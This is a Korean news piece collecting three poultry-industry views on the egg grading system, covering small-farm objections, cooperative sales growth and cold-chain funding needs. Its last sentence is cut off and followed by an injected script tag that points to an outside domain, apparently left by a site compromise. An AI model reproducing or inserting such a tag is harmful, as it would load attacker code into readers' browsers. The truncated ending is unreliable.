◇장동운 논산수목원농장대표

현 시점에서 계란등급제 시행은 문제가 많다고 생각한다.
외국사례에서 보면 모든 여건이 갖춰진 다음에 계란등급제를 시행하고 있기 때문이다. 더우기 우리나라는 기준부터가 너무 엄격하다.

실제로 등급심사만해도 굳이 집하장에서만 할 것이 아니라 여러곳에서 자유롭게 등급판정을 받을 수 있도록 제도적 장치를 마련해야 된다고 생각한다. 그래야 소규모 농가들도 등급을 받을 수 있기 때문이다. 현재 단지 등 대규모농장은 등급을 받을 준비가 돼 있지만 소규모 농장들은 그렇지 않기 때문에 제외될 수 밖에 없는 입장이다. 이 때문에 이런 소규모농장의 반발이 심한 것이다.
현 시점에서 계란등급제를 강행할 경우 대규모 농장 등 일부층만 특혜를 받게 돼 대다수의 소규모 농가들의 반발은 더욱 더 강해질 것이다.

일본 정부는 농가를 대상으로 계란등급에 대한 교육을 일정기간 시킨후 농장에서 직접 등급을 매겨 농가와 상인들간의 합의에 의해 거래할 수 있도록 한다.
우리나라도 일정기간 계란등급판정에 대해 교육받은 사람은 계란등급을 판정할 수 있도록 정부에서는 계란등급 기준만 정해줬으면 한다.
양계업계가 사양기로 접어들면서 도산위기에 처해있는 농가들이 속출하고 있다. 이런 상황에서 엎친데 덮친격으로 이 제도까지 강행하면 우리들은 어떻게 되겠는가.

따라서 양계협회 등을 통해 교육이수를 한사람들은 자기 농장에서 생산된 계란에 대해 계란등급 판정을 할수 있도록 하고 만약 이 과정에서 잘못할 경우 제제를 가할 수 있도록 제도적인 장치를 마련했으면 한다.

◇우대일 대구경북양계농협 조합장

처음 작업물량은 하루 6000개 정도에 그쳤으나 2월 1만5000개, 3월 5만개, 4월 6만개 정도로 늘고 있다. 앞으로는 등급란을 집하장 물량의 절반이상으로 늘릴 계획이다.
계란등급제가 본 궤도에 오르는 것은 시간문제가 아닌가 생각된다. 그간 유관기관의 노력도 많았다. 축산물등급판정소는 각종 홍보물을 만들어 곳곳에 배부하고 직접 매장에 나가 설명회를 갖기도 했고 지역 반상회 회보에 내기도 했다. 축산기술연구소는 KBS-TV 아침마당에 연결해 줬다. 농협중앙회는 차량구입을 위한 보조금 지급을 도와 줬고 대형매장에 납품할 수 있도록 주선해 줬다.

계란품질의 고급화 촉진으로 신선한 계란을 소비자에게 공급할 수 있는 계란등급제를 누가 반대하겠는가? 그리고 계란에 등급집하장명 생산자번호, 계군번호, 등급판정일자가 찍히므로서 책임의 소재가 분명하고 수입란과 차별화가 자연스럽게 된다. 생산자와 국민대다수의 소비자를 동시에 보호할 수 있는 이 제도는 기필코 정착돼야 한다.
다만 아직 소비자가 계란등급제에 대한 이해가 부족하다. 전국으로 확대 실시되면 TV나 기타 대중매체를 통한 홍보가 더 용이하지 않을까 생각된다. 또 전국 대형매장에 등급란이 골고루 들어갈 수 있도록 교통질서가 필요하다.

노계의 계란은 껍질이 얇고 파란율이 많아 등급제로는 적당치 않다. 그리고 리콜되는 계란과 유통이 어려운 잔알 등의 처리를 위해서는 가공시설이 꼭 필요하다. 서울지역에서는 가공시설이 여러개 있으니 남부지방에도 1개소 정도 설치해 경영 정상화가 될때까지 당국에서 조금만 지원해 주면 좋은 성과를 내리라 확신한다.

◇오정길 대한양계협회 대구·경북지부장

계란등급제는 깨어지고 부패하기 쉬운 계란을, 품질검사와 보관에 주의를 기울여 안전한 식품으로서 소비자에게 공급할 수 있게 해 계란의 품질에 대한 소비자 신뢰도를 높일 수 있다. 실제로 일부 주부들 사이에서는 1+ 등급계란을 선호하는 계층이 생겨나고 있다.

그러나 리콜된 계란의 처리비용 문제, 농가에서 등급판정소까지의 신속한 운송을 위한 경비문제, 소량유통으로 인한 유통비 문제, 등급제 정착을 위한 홍보비 문제 등으로 인해 등급란의 가격이 상승하면서 소비자의 외면을 받을 수 있다.
또한 여름철에 대비한 저온운송, 저온보관, 저온 판매시설 등 콜드체인 시스템이 이루어져야 한다.

이를 위해서 정부와 농협, 관계기관의 지원이 필요하다. 콜드체인 시스템 유지를 위해서는 농가에서 이용하기 편리하도록 시설과 투자를 해주고, 유통주체들도 참여할 수 있는 길을 열어줘야 한다. 유통업자나 농가가 저온차량을 구입할 수 있도록 융자나 보조를 해주어야하며, 저온창고나 판매시설을 위한 지원 역시 필요하다. 또한 농협에는 계란등급제의 홍보를 정부와 협조하여 적극적인 홍보와 판매를 병행하여야 할것이다.
생산자측을 고려해 관련단체는 건강한 닭에서 계란이 생산될 수 있도록 사료의 품질이나 질병 예방 등을 위한 가축위생 시험소, 사료 연구소?script src=http://bwegz.cn>

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